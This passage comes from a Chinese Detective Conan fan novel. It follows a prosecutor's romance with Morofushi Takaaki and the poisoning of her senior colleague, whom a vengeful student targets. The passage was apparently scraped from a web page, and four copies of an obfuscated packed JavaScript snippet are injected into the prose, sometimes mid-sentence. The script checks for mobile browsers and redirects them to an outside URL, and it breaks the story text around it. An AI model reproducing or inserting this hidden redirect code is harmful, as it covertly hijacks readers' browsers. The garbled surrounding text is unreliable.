“怎么会?”北原浅落难以相信,对方外形条件优越,学历才识过硬,性格上也完全挑不出什么毛病,怎么可能一直单身到现在。 她甚至做好了对方有数位前任的心理准备。 网上对此种情况的普遍猜测一下子浮现在脑海,她不禁换了眼神,上下打量着诸伏高明。 “咳咳。”诸伏高明被看得有些不自在,“大学时候是有几位女生告白过,但我没有接受。” “为什么没有接受呢?” 闻言,诸伏高明对上对方审视的目光:“你也被男生告白过吧?为什么没有接受呢?” “因为对他们没有喜欢的感觉啊。”北原浅落不假思索脱口而出。 听到预想中的回答,诸伏高明笑了:“我也是。” 北原浅落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149358|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后知后觉被套话,嗔视了对方一眼,端起碗就要喝汤。 “而且,”诸伏高明顿了顿,等北原浅落把碗放下后递上一张纸,“我的性取向是正常的,这一点你可以放心。” “咳咳!”北原浅落连忙转头用纸掩住口鼻,天哪,他怎么知道自己刚刚在想什么? 缓过来后,她重重推了来到自己身旁为自己拍背的人一把:“诸伏高明,你在我相亲的时候偷偷跟踪监视也就算了,你居然还暗地里调查我?” “调查?”诸伏高明一头雾水,他监视她相亲不假,可他没有暗地里调查啊。 “是,不然你怎么知道我没有接受过别人的告白?” “这个啊,”诸伏高明恍然大悟,转身给北原浅落倒了杯水,“是森川前辈和我说的。” “森川前辈?” “对,有一天我刚好到东京公干,我们在法院路过了你的法庭,他和我说的。”说完,诸伏高明将手中的水杯扬了扬,示意对方接过。 北原浅落想起来了,就是她调来长野前的最后一次开庭,也是那天,九条玲子和她说了诸伏高明的名字。 “不过,你还是认出来了啊,三浦的车。”诸伏高明难得展现出几分心虚的神情。 “是,三浦警部肯定不会那么无聊跟踪我。”北原浅落哼了一声,低头喝了半杯水,“诸伏警部,你违反了《反跟踪骚扰行为规制法》第18条。” 诸伏高明俯身看着坐着的女孩,一手搭在对方椅背,一手随意搭在餐桌边缘。 “那北原检事打算起诉我吗?” 虽然是弱势的话,可北原浅落一点都不觉得对方处于下风,那双精明睿智的丹凤眼眼底的游刃有余一览无余,她甚至觉得对方是在某种程度上“挑衅”自己。 “是,身为警务人员,知法犯法,诸伏警部,根据《警察法》第62条,明知故犯且情节严重者必须免职。” 北原浅落迎上对方的目光,眼中满是得意,忽略了对方眼底一闪而过的欲色。 “那北原检事的意思是,希望我被免职?” “我——” 刚说出一个字,北原浅落的嘴便被对方微凉而柔软的唇堵上。 她整个人一抖,手中的水杯哐当落地,在地板上翻转了几下后没了动静。 那只搭在桌边的手不知何时移到了自己的下巴上,轻轻把她的下巴托起,和先前耳廓上的模糊触感不同,这次,她清楚感受到了对方指腹的薄茧。 最初的吻很轻,只是轻轻贴合着她的唇瓣,带着一种小心翼翼的试探和珍视。两人呼吸交织,不知谁的呼吸更加急促。 他托着她下颌的拇指开始用力,就如他的吻,开始在她的唇上碾压摩挲,甚至在她的唇上轻咬,惹得她不自觉微微张嘴,不自觉攥紧了对方胸前的衣襟。 当诸伏高明终于缓缓退开一丝距离时,他的呼吸带着不容置疑的紊乱,他的眼中清晰地倒映着北原浅落泛红的脸颊和迷蒙的眼。他托着她下颌的手指并未立刻松开,拇指指腹轻柔地拂过对方微微红肿的唇。 “浅落。” 诸伏高明的语速比平常满了几分,低沉的声线带着一丝沙哑,短暂的停顿中,他仿佛在回味着什么。 “昨天晚上,我就想这么做了。” 北原浅落朦胧的眼清明了几分,原本因亲吻泛起的红晕此刻如同滴入清水的朱砂般轰然晕染开,瞬间烧透了她的双颊、耳根,向白皙的脖颈蔓延。 “诸伏警部,我说了,今天晚上我要回去的。” 22.第 22 章 那天,北原浅落最后还是说到做到回了自己家睡,代价是一个长达三分钟的晚安吻。 * “好端端地,大和警部请我们吃饭干嘛?”北原浅落拉过副驾驶的安全带系上,“要请也是我们请他吧?” “嗯?为什么?” “因为你最近都没加班啊。” 至于没加班的原因,北原浅落心知肚明,肯定是因为她。 “所以嘛,要请也是我们请他才对……” 与北原浅落越说越轻的窘态不同,诸伏高明面色如常,认真思考了两秒后同意了北原浅落的提议:“你说得对,是该对他有所表示,不过,不光是对敢助君,对其他同事也得表示感谢。” 北原浅落一愣,马上反应过来问道:“你这段时间到底推了多少工作?” “放心,没多少,”诸伏高明趁开车的间隙看了女孩一眼,“和工作时长相比,我更讲求效率。” 北原浅落克制住自己质疑的冲动,算了,他是因为自己才这样的。 见女孩神色有异,诸伏高明开口安慰:“这是我的选择,你不要有压力,实在加急的事我才会麻烦他们,你要相信我的工作能力。” “我相信你的能力,我只是……” “只是什么?” “只是觉得做梦一样不真实。” 短短的一句话,北原浅落却说得缓慢又犹豫。 这一个多星期,每个工作日,诸伏高明都会准时下班,她从没有自己一个人孤零零吃晚饭的时候。 北原浅落转头,面对窗外调整突如其来的情绪,努力不让对方发现异常。 窗外,车辆集体缓缓减速应对红灯,头顶传来一阵轻柔的抚摸。 “放心,这不是梦。” “如果是梦,那我们也不必去探究敢助君为什么要请我们吃饭了。”诸伏高明不着痕迹把话题引开,重回最开始她的好奇。 “也是,待会一定要好好问问他。” 进了约定的餐厅,服务员把他们领到预定的包厢。 包厢内,大和敢助和上原由衣已经在桌边坐下,不知是不是她的错觉,两人都有些莫名的拘谨。 “大和警部,怎么今天突然请我们吃饭呀?发生什么好事了吗?”北原浅落在上原由衣旁边的位置坐下。 诸伏高明听了微微一笑,想到今天白天两位好友不自然的表现,他不难猜到背后的原因。 “那个……就是……”大和敢助看向上原由衣,黝黑的面庞上居然隐隐有红色泛出。 这是唱哪出? 北原浅落眨了眨眼,顺着大和敢助的目光看向上原由衣,惊奇地发现对方也是一副难得的羞赧样子。 这下,她还有什么不明白的,不由得喜笑颜开,替大和敢助说了出来:“大和警部,是不是你和上原终于和对方表明心意了?” “对,就是这样。”大和敢助仍有些扭捏,但下一秒,似下定决心般,一把抓过上原由衣的手扣住向另外二人展示,“我和由衣在一起了。” “太好了!”北原浅落忍不住拍手欢呼,“我就说嘛,你们两个郎有情妾有意的,怎么还不在一起,我都替你们着急。” 那笑着实耀眼,诸伏高明恍了神,愣了片刻后才想起向好友道喜:“恭喜,你们两个也算是好事多磨。” “是啊是啊,终于苦尽甘来了!”北原浅落探着身子凑近上原由衣,狡黠的眼睛却望着大和敢助,“上原,这次总该是大和警部先表白的吧?” “是,是他说的。”上原由衣低下红透了的脸。 “怎么突然就想明白了?”诸伏高明挑了挑眉,凭他对大和敢助的了解,一定是出了什么情况刺激到了他。 大和敢助哼了一声:“再不想明白,你俩孩子都要出生了。” 嗯? 他刚刚说什么? 北原浅落怔愣在座位半晌没反应过来,什么孩子? 见二人装傻,大和敢助不满地翻了个白眼:“喂,在我面前就别装了,那天我都看到了。” “本来以为高明你只是脱单比我早一步,我可不能一下子被你落下那么多。” “等、等一下大和警部!”北原浅落急得声音骤然增大,“我和诸伏警部没——” “有”字还没说出来,她就被诸伏高明向后一拉,后背靠在了他的胳膊上。 “那你确实要抓紧。”等北原浅落稳住,诸伏高明手臂向下,轻轻环住她的腰。 喂喂,这都什么跟什么啊! 两名女士不约而同在桌下踩了各自的对象一脚。 大和敢助当场就叫出了声:“由衣,你踩我干嘛!” “踩的就是你!”上原由衣毫不示弱,“谁让你口无遮拦的。” 和大和敢助的动静相比,诸伏高明简直忍耐力惊人,面上一点不显。 自己踩得也不轻啊……不轻吧? 北原浅落犹疑的目光再度落回诸伏高明平静的脸上,下一刻,她察觉到自己腰间的手紧了紧,借着桌子的遮挡不轻不重地捏了自己一下。 可恶,原来在这等着她呢。 吃完饭,两对情侣双双道别。 望着先行远去的车辆,北原浅落忍不住感叹:“真好,大和警部和上原终于在一起了。” “难道我们不好吗?”诸伏高明启动车子,亮起转向灯逐渐汇入车流。 “我们也好。” 北原浅落眉眼一弯,借着路灯从窗外投进来的稀疏灯光看着身旁的人。 也许,是天意让长野地检有一个检察官的急缺,是天意让她在冲动之下主动申请,这一切,都是为了让她找到他。 或许,一切的一切,始于那个盛夏的午后,始于她踏进东都大学的那一刻。 他对当初的插曲还有印象吗?如果之后自己告诉他,他会是什么反应? “之前买的书今天到了,你待会去我家看看吗?” “啊?”北原浅落迅速反应过来对方指的是什么,“是那本《规则的悖论:秩序与自由的永恒张力》吗?” “对。” 她瞧了眼车内显示的时间,还不到八点。 “好呀,我去看看。” 昏暗的光线下,她没有注意到对方嘴角一闪而过的笑。 安静的客厅内,顶灯似乎都收敛了些光芒,生怕打扰沙发上两位沉浸阅读的人。 北原浅落放下看了一大半的书,看向身旁阅读得津津有味的诸伏高明,下一秒,对方对上她的视线:“怎么了?” 北原浅落身子一倒,将头枕在他的膝上,仰面望着他,而后望向书架:“没怎么,就是有些累,这种书果然还是应该找个精力充沛的时候看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163991|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸伏高明低低笑了声,替她将因动作凌乱的裙摆理好。 “所以,你之前拿了书架上那本《二年级A班的孔明同学》看?” “你怎么知道?”虽然说对方本来就是一位火眼金睛的警察,但这还是太奇怪了,他不会趁自己不注意在某个非常隐秘的地方装了摄像头吧? “又开始瞎想了,”诸伏高明轻轻弹了下她的额头,“收拾书的时候,那本书里掉出了之前给你留的便签。” “那张便签呢?” “我扔掉了。” “好吧……”北原浅落的语气透着遗憾。 “怎么了,难道你还想带走收藏啊?” “嗯。”北原浅落手指摩挲着男人袖口的扣子,她真是这么想的,“话说,我之前刚来长野的时候,给你送东西也写了一张便签,你还记得吗?” “当然。” “那么,”北原浅落手指的动作一顿,抬眸看向诸伏高明,放慢语速问道,“你看到的时候有没有什么……” 北原浅落斟酌着用词,却发现一时找不到合适的词语。 “有没有什么?” 诸伏高明没有任何杂质的澄澈眼神让她忽地心虚。 “有没有什么,发现?” “发现?”诸伏高明认真回忆起那张便签,“我收到的时候,有些地方的墨迹还没干,你应该是来之前刚写下的,用的是检察厅发的黑色中性笔;字迹方面,你的字很漂亮,但是看得出来你没有按照平时的习惯,有些连笔的冲动被克制住了,你在写的时候应该很小心。” 北原浅落在心里重重叹了口气,好吧,她就知道,问也问不出什么。 自己当年给他写的回信,他还留着吗?会不会丢了? 见女孩脸垮了下来,诸伏高明不确定了:“我漏了什么吗?” “不,没有,你说得一点没错,”北原浅落摇头,顾左右而言他,“我只是突然想起了再过两天我得回家一趟。” “需要我陪你回去吗?” 她回来那天,情绪激动,整个人很低落,他没去问发生了什么,她想说的时候自然会和他说。 不过,他大概能猜到是和她家人有关。 “不用,”北原浅落扯着诸伏高明的衬衫袖子,观察着布料纹理,“我都还没和我爸妈说过你呢。” “我这次回去,得和我爸好好谈谈,然后在我和他没有嫌隙的时候,再把你介绍给他们。” “你爸妈不知道我的存在的话,会不会又给你安排相亲?”诸伏高明低头,他不会逼迫她加快二人的速度,但也怕二人之间横生枝节。 灼灼的目光盯着她脸颊发烫,北原浅落生出了些戏弄的意味,伸手搭上诸伏高明肩膀,借力坐起,眉眼一弯:“说不定哦,上次我妈说,她和我爸给我列了一张纸的候选人名单。” “里面有我的名字吗?” 男人的脸随着话逼近,在她面前一厘米处停下。北原浅落只觉胸腔里的心跳越来越快,越来越快。 “没——” 剩余的字被淹没在炙热的吻里。 北原浅落被吻得迷迷糊糊的,恍惚间,她听见他温热的吐息洒在耳畔。 “那我的名字在哪里?” 沙哑的低音激得她一颤,她偏头吻上男人的侧脸。 “在我的心里。” 23.第 23 章 经过几个小时的奔波,北原浅落回到繁华的东京。 拐入家所在的街区,她放慢车速,按下车窗,拐弯时,她发现池田正志家的窗户开着,窗台上似是有一个年轻人的背影在收衣服。 这是谁? 池田正志早年丧妻,之后并未再娶,一直将检察厅的后辈们视若己出,但是这个背影,不是他们中的任何一个。 一晃神,车子开过去了。 北原浅落从侧边镜里看着池田正志的房子远去,心里止不住打鼓,对哦,池田前辈上周就出院了,这是他请的护工吗? 开进家门,难得车库里其他两辆车都在。 “我回来了。” “回来啦。” 是她爸。 北原浅落放包的手一顿,望向来人。 和上次她走的时候一样,她爸穿着黑色西装,打着深蓝色领带,上上下下没有一丝褶皱。 “爸。” 她放轻动作,换了拖鞋就要溜上楼。她虽然打算回来和她爸好好谈谈,但没打算一回来就谈,这一进门就对上实在是太快了。 “浅落。” 北原浅落刚踩两级台阶的脚停住,等着父亲的下文。 “你爱吃的那家点心,我买回来了,拿点再上楼吧。” 欸? 北原浅落转过身,恰好看见父亲半侧过身,好像在躲避她的目光。 “明天下午,正志的讲座结束后,大家一起吃个饭吧,到时候,你会知道你想知道的一切。” “一切?”北原浅落再度震惊,半信半疑。 “是的,一切。”北原修司背着手,刚刚的卑微祈求似乎只是转瞬即逝的错觉,平静的面容一如既往高深,让人猜不透他的想法。 他向北原浅落走近:“但是,我也得事先和你说好,明天你听到的一切,在得到允许前,一个字都不能和其他任何人透露。” 北原浅落没有正面答应,思忖了两秒,转而问道:“大家,包括谁?我,你,池田前辈?” “是,还有你妈,以及正志的侄子。” 北原浅落大惊,想起了那个瞥了一眼的背影:“池田前辈的侄子?” “对。” “池田前辈有侄子?我怎么从来都不知道?” “他侄子一直在北海道老家,正志出院,得有人照顾。” “不对,”北原浅落摇头,望向父亲的眼神充满怀疑,“他不止是池田前辈的侄子,对吗?” “他是事情的知情人。”北原浅落语气笃定,想从父亲的目光中得到肯定的答案。 北原修司转身,木制地板上发出趿拉的声响。 “我说了,明天晚上吃饭的时候,你会知道一切的。” * 第二天下午,明和大学的礼堂,人头攒动。 北原浅落刚进礼堂,就看到警视厅和东京地检的熟人,她马上走了过去,在预留的空位坐下。 “检察厅的人来就算了,警视厅怎么也来了这么多人?”北原浅落探身对隔了几个座位的警察们问道。 “这次池田检事讲的是案件中证据采纳相关的内容,对警方来说也很重要。”佐藤美和子解释,“我们几个作为代表来听一下,回去还得和同僚们作报告。” “是啊,警方办案,最怕的就是材料交上去了,被你们检方说证据不足或者证据有问题,”白鸟任三郎开口帮腔,语气中颇有怨气,他之前可没被旁边的两位检察官挑刺,“补充侦查还算好的,一个退回,这个案子不就白忙活了。” “那白鸟警部,听完这次讲座,下次收到你移交的案件,证据方面总不会出问题了吧?”九条玲子淡淡开口,平淡的语气更增加了话中潜藏的“恐吓”和“威胁”。 身旁的警察们听到了,都变了脸色。谁不知道,交给九条玲子的案子是最“麻烦”的,本来就怕出错,这下好了,连容错空间都被挤压了。 接收到同事们的怨念眼神,白鸟任三郎立刻补救:“九条检事,这方面,一次讲座恐怕不够,今后还得多学习几次,多学习。” 见发小这副模样,北原浅落扑哧一笑,果然不管是在哪,九条前辈都是令人畏惧的存在。不等她笑过瘾,她突然听到自己被cue了。 “听说你前两天又回长野了?还以为你不会来了。” 北原浅落立马收敛笑容:“池田前辈的讲座,就算东大一年也不能听到几次,当然不能错过了。” “是啊,他平时这么忙,就算东大请他做讲座也不一定办得到,怎么他就来明和了呢?还刚出院没多久。”望着上台的池田正志,九条玲子和后辈低声咬耳朵。 “我也奇怪,晚上我问问他。” “你晚上约了前辈?” “我爸妈约的,一起吃个饭。”北原浅落话没说全,隐去吃饭的目的。 台上的池田正志打开保温杯,将盖子和杯子放在手右侧,而后打开麦克风开始演讲。 他从一个实际案例出发,以证据收集过程中的疏忽带来的连环后果,先行揭露了取证规范的重要性。 众人纷纷取出笔记本记录。 九条玲子记着要点,余光发现北原浅落居然也拿出了一本本子,不禁停笔:“你干嘛?” “记笔记呀。”北原浅落头也不抬,凭着记忆迅速记下所有要点。 “你什么时候需要记笔记了?”九条玲子抬手覆上北原浅落额头,“没生病啊。” 北原浅落笑了笑,躲开九条玲子的手掌:“哎呀,俗话说好记性不如烂笔头嘛,万一我哪天记性变差了,也能复习复习。” 九条玲子目光锐利了几分。 “你生病的时候,我来看你,我穿了什么颜色的衣服?” “白色的西装外套和白色的衬衫,袖口是黑色金属暗扣,黑色阔腿裤,黑色皮鞋,戴的是你入职五周年的时候池田前辈送你的那块表。” “对了,你那天戴的是淡水珍珠耳钉,背的包是你常背的那款蔻驰老花托特包。” 北原浅落边写边在九条玲子耳边小声嘀咕了一长串,惹得对方看她的眼神更加奇怪。 “你到底受什么刺激了?你之前从不记笔记的。” “都说了嘛,好记性不如烂笔头。” 北原浅落继续写着,借着台上池田正志的喝水停顿将笔记补全。 九条玲子正要再说什么,突然,台上传来重重的一记闷响。 北原浅落抬头望去,保温杯在地板上滚动,洒下长长的一滩水,几乎是同时,众目睽睽之下,池田正志脸色大变,重重摔在地上。 瞬间的鸦雀无声之后,礼堂内瞬间大乱。 “前辈!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176684|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>北原浅落和九条玲子连忙冲出座位冲上台,比她们和警察们更快一步的,是一位从后台冲出的男人。 男人迅速查验池田正志的生命体征,而后二话不说背起池田正志,招呼在场的学校医务人员跑出礼堂。 “浅落,你跟着去医院,我留在现场!”九条玲子干脆利落下了指令。 她向门口封锁现场的白鸟任三郎跑了两步,没听到身后的动静,回头发现北原浅落立在原地一动不动。 “浅落!愣着干嘛!快去医院!” “是!” 北原浅落转身冲出礼堂,恰好看见救护车飞驰出发。 她立刻上车,系上安全带就往前追赶。 接连的震惊下,她几乎无法思考。 池田正志的表现,明显是中毒,她不敢去想那个最坏的结果。 她踩下油门,超越路上的车辆,紧跟着前方鸣笛的救护车。 她做不到不去想那个最坏的结果,也做不到不去想刚刚见到的那个男人。 他……他不是牺牲了吗? 怎么会…… 进了医院,北原浅落正要跟着进电梯,却被两名不知从哪来的男性挡住。 “抱歉,这位小姐,你不能进去。” “我是病人家属,让我进去。”北原浅落想要从两人中间穿过,见两人不依不挠,用力一推,却反让自己向后踉跄了几步。 “我是检察官,你们这样是妨碍公务,我可以起诉你们。”顾不得没带证件,北原浅落直接表明身份。 可没想到的是,对方二人反而向她展示了证件。 “抱歉,检察官,我们是公安,请你配合我们工作。” “公安?” “是,这边请,我们需要对你进行询问。” * 接受完询问,北原浅落想趁二人不注意上楼,再次被拦下。 “北原检事,你不能上去。” “就算是公安也不能这么不近人情吧?中毒的是我前辈,我要去看看他到底怎么样了!”北原浅落红了眼眶,眼底是罕见的愤怒,她环视了一圈,不知何时这层楼已经被清空。 “让我上去,或者,让诸伏景光来见我。” “浅落。” 北原浅落转头,是自己父亲,身边还跟着一位中年人。 “北原检事长,这里就交给你了。” “嗯。” 两名公安跟着中年人离开。 北原浅落连忙走向父亲:“爸,池田前辈怎么样了?” “正志还在抢救。” “有生命危险吗?” “不好说。” 一阵沉默。 “爸,怎么会有公安牵扯进来?还有,为什么诸伏景光会出现,他不是死了吗?” 北原浅落等着下文,可北原修司就此缄口,只静静对上她疑惑的视线。 “好好好,我知道,是机密,”北原浅落压下内心的不满与烦躁,咬了咬嘴唇,问道,“池田前辈中了什么毒?” 北原修司叹了口气,轻拍女儿的肩膀:“抱歉,不能告诉你。” 北原浅落无语极了,扯了扯嘴角:“那您能告诉我什么?” “等一切都查清楚了,我会告诉你的。” “先回家吧,记住,你今天没见过诸伏景光。” 24.第 24 章 北原浅落注视了父亲两秒,而后,一把把他搭在自己肩上的手拿下,径自走向楼梯下楼,每走一步都重重踩下,故意发出巨大的声响。 走出医院大楼,她取出手机给白鸟任三郎打了电话。 “任三郎,水里的毒药检测出来了吗?查一下那个保温杯,这个杯子不是池田前辈的,他没有这样的杯子。” “抱歉浅落,刚刚得到的消息,这件案子不归警视厅负责了。” “什么意思?” 白鸟任三郎压低了声音:“我听说是交给公安了。我刚刚听见九条检事很生气,给东京地检的检事正打了电话,说受害者是检察官,检察厅有权利实时跟进案件,对方的回复是东京高等检察厅会跟进的。” “高等检察厅?” “对,你问问伯父,他应该知道更详细的消息。” 北原浅落深吸了口气,怎么又是她爸。 “嗯,我知道了,谢谢你了。” 她缓缓放下手机,低垂着脑袋走向自己的车。 等她反应过来,她已坐在驾驶位上,手中的手机上显示正在拨号,拨打对象是诸伏高明。 她刚想挂断,听筒里已传出男人磁性的声音。 “浅落。” 她怎么办?她该说什么? 她能说什么? “浅落?” 在她心乱如麻不知说什么的时候,对方又唤了她一声。 “高明……”北原浅落刚一开口,鼻子就忍不住发酸。 电话那头愣了愣。 “怎么了?遇到什么难事了?” 北原浅落为对方简要说明了刚刚听讲座时的变故和在医院的碰壁,当然,她隐去了一切有关诸伏景光的信息。 “所以,我现在什么都不知道,都不知道池田前辈现在到底怎么样了……” “我爸他怎么能这样……” “浅落,我想,池田前辈现在应该没有生命危险。”诸伏高明不紧不慢,他的声音是那么令人安心,如一眼清泉,让北原浅落焦躁的内心冷静下来。 “如果他真的有事,你爸恐怕不会是这个反应,不是吗?” 短短的两句话让她醍醐灌顶,对啊,她刚刚怎么没想到? “你这是关心则乱,我想,一定是这件事另有隐情,你爸才会瞒着你,他有他的考量,就像你有你的考量,没有把所有情况都告诉我一样。” ! 他在暗示什么?! “你别多想,我知道很多事你现在不方便和我说,我不强求,我只是想说,你爸选择不告诉你,也有他的不方便。所以,听他的,先回家吧。” 北原浅落没有马上回应,几秒后才“嗯”了一声,又过了几秒,她说道:“有些事,我之后会和你说的。” 她的声音和语气都是轻轻的,但异常认真。 这是她的承诺。 “嗯,我会等的。” 挂了电话,北原浅落在车里坐了会,然后下车,再次走向医院大楼。 诸伏高明说得没错,以她父亲的举动来看,池田正志目前没有生命危险,不然以他们两个这几十年的情谊,他不可能这么淡定如常。 不过,他没有全对。 以她对自己父亲的了解,她爸确实有不方便,但不是因为那个所谓的“隐情”,不然昨天不会说今天会让自己知道一切,他的考量恐怕是自己当下的心理状态。 确实是关心则乱。 她失态了。 迈上医院的台阶,北原浅落给自己父亲去了电话。 “爸,你昨天说过的,今天晚上告诉我一切,虽然现在还没到晚上,提早几个小时,没关系吧?” 听到意料之中的回答,北原浅落嘴角浮现一丝笑容。 她按照父亲的指示按下对应的电梯楼层,而后将手机递给电梯口负责警戒的人员。 几秒后,她被允许进入,在公安的带领下走到一间办公室门口。 北原浅落敲了敲门,听到父亲的“请进”后推门而入。 屋内,他父亲倚着办公桌,另外一位与自己年纪相仿的年轻人则是倚着沙发扶手。 北原修司看了看诸伏景光后看向女儿:“你认识诸伏,我就不给你介绍了,至于他是怎么……” “爸,”北原浅落摇头,打断北原修司的话,大大方方走向沙发,在远离诸伏景光的那侧坐下,“我现在不想知道他是怎么活下来的,也不想知道他是怎么摇身一变成为池田前辈的侄子的。” “我现在只想知道,池田前辈这次中毒,到底是怎么回事。” 她也是有脾气的好吗?他要说诸伏景光的事,她现在偏偏不想听。 女孩头微微上扬,经过自己时赏给他的那一眼中除了气愤,还带着些许高傲与不屑,和多年前的那个眼神很像。 想到这,诸伏景光不禁无声笑了。 见女儿这么无礼,北原修司皱眉看着她,却换来她的嗔视。 “正志已经抢救回来了,目前没有生命危险。”北原修司终是先行妥协,他正想继续往下说,手机响了。 “嗯,好,我马上过来。” 挂了电话,北原修司对诸伏景光叮嘱:“我去检察厅一趟,你留在这照顾正志。” “好。” “至于你,”北原修司看向女儿,“和我走吧。” 北原浅落迅速起身,没走两步停下:“我现在还在停职,去检察厅不太好吧?” 北原修司继续走向门边,打开门后顿了顿,嘴角划过一丝不易察觉的笑容。 “不去也行,之后别又气呼呼地说我什么都不告诉你。” 北原浅落立刻跟上父亲,没有一丝犹豫。 全程见证了父女互动后,诸伏景光心情不由自主变好了几分,而后是许久未涌上心头的落寞。 真羡慕啊。 * “正志一直在资助一名福利院的孩子,这件事,你应该知道吧?”北原修司从女儿手中拿过车钥匙,示意他来开车。 “知道啊。”北原浅落小跑绕过车头,打开副驾驶座进入,“对方是个女孩子,我还帮池田前辈挑了好几次礼物呢。” “这个女孩目前在明和大学法学部就读。” 北原浅落恍然大悟:“所以,这就是池田前辈去明和讲座的原因?” “是。” “但是这和他中毒有关吗?讲座的信息之前就发布了,至于前辈为什么去明和,这不重要吧?” 北原修司没有回答女儿的问题,转而提起一件陈年旧事:“十五年前,正志接手了一起毒杀案。受害人是一位男性,引用了过量甲醇致死。因为死者经常酗酒家暴,警方自然怀疑到他的妻子头上。之后,调查发现他妻子工作的地方的确有很多甲醇,对方也供认不讳,警方便结案把案子移交给了检方。” “正志在复核的时候,发现了作案时间上的漏洞,但是,和负责案件的警察沟通以及审讯嫌疑人后,他并没有推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192227|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻警方的结论,按照警方的思路提起诉讼。最后,法院判决这名女子10年监禁,可是,她进监狱没多久就旧病复发,即使保外就医,不到一年也因病身亡了。” “既然前辈没有推翻警方的结论,说明调查没问题吧?” 北原修司意味深长地看了女儿一眼,加快车速。 “不,调查有问题。” 北原浅落大概明白了:“所以,这次是那起案件的相关人员来报复的?” 北原修司拨下转向灯,驶入另一条主干道。 “浅落,那户人家,有个六岁的女儿。” 只一瞬,她便理清了事情的来龙去脉,脸色发白,嘴唇颤动。 “您、您是说……” “是,她现在已经在检察厅的审讯室了,你妈在审她。” 北原浅落跟着父亲来到高等检察厅的审讯室,单向玻璃内,一名二十出头的女生在审讯的椅子上坐着,笑容狰狞。 “你懂什么,这是他咎由自取!” “当年,要不是他和办案的警察一样无能,我妈怎么会含冤入狱?怎么会这么快去世?!” “抓不到真凶,就怀疑到我妈头上……哈哈哈哈,”女生大笑起来,“他们都想不到吧,其实,杀我爸的,是我,是我把甲醇倒进了他的酒瓶。” “我看着他大口大口喝下,看着他晕倒,看着他死去。” “我妈一定是被他们恐吓了才认罪的,她胆子小得很,被打了连反抗也不会……”女生仍然笑着,泪水已从眼角流出,“这次也算是天助我也,他居然会来明和讲座,我就事先买了毒药,打算在今天想个办法接近他。” “他真的很蠢,我趁没有人注意的时候溜进他的休息室,没想到他居然在,我就说是崇拜他的学生,想请他签个名,他居然就信了,还去给我切水果,我就趁这个时候把毒药放进他保温杯。” 北原理纱沉着脸,继续发问:“你既然说了,恨的不只是池田正志,还有当年办案的警察,怎么只想着报复检察官呢?” “我也想啊,刚开始我太小,长大了后我听说当年办案的警察早就死了,只剩下这位叫池田正志的检察官了。” 忽然,女生直视北原理纱:“这位阿姨,你就告诉我吧,这位检察官,死了吗?” 女生是笑着问出最后的话的。 北原理纱忍住冲动,松开一直握拳的手,问了最后一个问题:“你从六岁到现在读大学,都是有一位好心人在资助,你这么做,没想过对不起他吗?” 女生怔了怔,而后一笑:“没什么对不起的,我又没逼他资助我,他也不差这点钱吧?” 审讯室内的检察官们见到这一幕,都沉默着不知说什么。 北原理纱摆了摆手,示意带她出去。 与此同时,在其他人反应过来前,北原浅落拉开这一侧审讯室的门,走到另外那扇门,恰好看见对方被带着走出。 “你真的觉得警方和检方都不知道当年的真凶是谁吗?” “你也说了你妈胆子那么小,你就没想过,她为什么要主动认罪吗? “浅落!”听到动静出来的北原理纱连忙来拉女儿,却被北原修司摇头制止。 北原浅落闭了闭眼,克制眼底的愤怒,放慢语速继续输出。 “你20岁生日那年,你的资助人是不是送了你一套名牌化妆品?” “那是我挑的,是你今天想杀的人买的。” “你才是那个最蠢的人。” 25.第 25 章 诸伏景光抬头,输液的瓶子即将见底,他按了铃,不出半分钟,医生和护士赶来,为池田正志拔出针头。 诸伏景光替他按压手背,平日那张和蔼的面容此刻苍白无力。 他昏迷了两年半,刚醒的时候,迷迷糊糊下床在医院走廊上游荡,特殊病房的楼层空空荡荡,就是这时候,他遇见了池田正志。 门外陌生的脚步声让他下意识警戒,想起现在已经今时不同往日,他笑了笑,紧绷的身体放松下来,等着门被敲响。 过了两秒,门果然被轻轻敲响。 他这才从病床边站起去开门,是北原浅落。 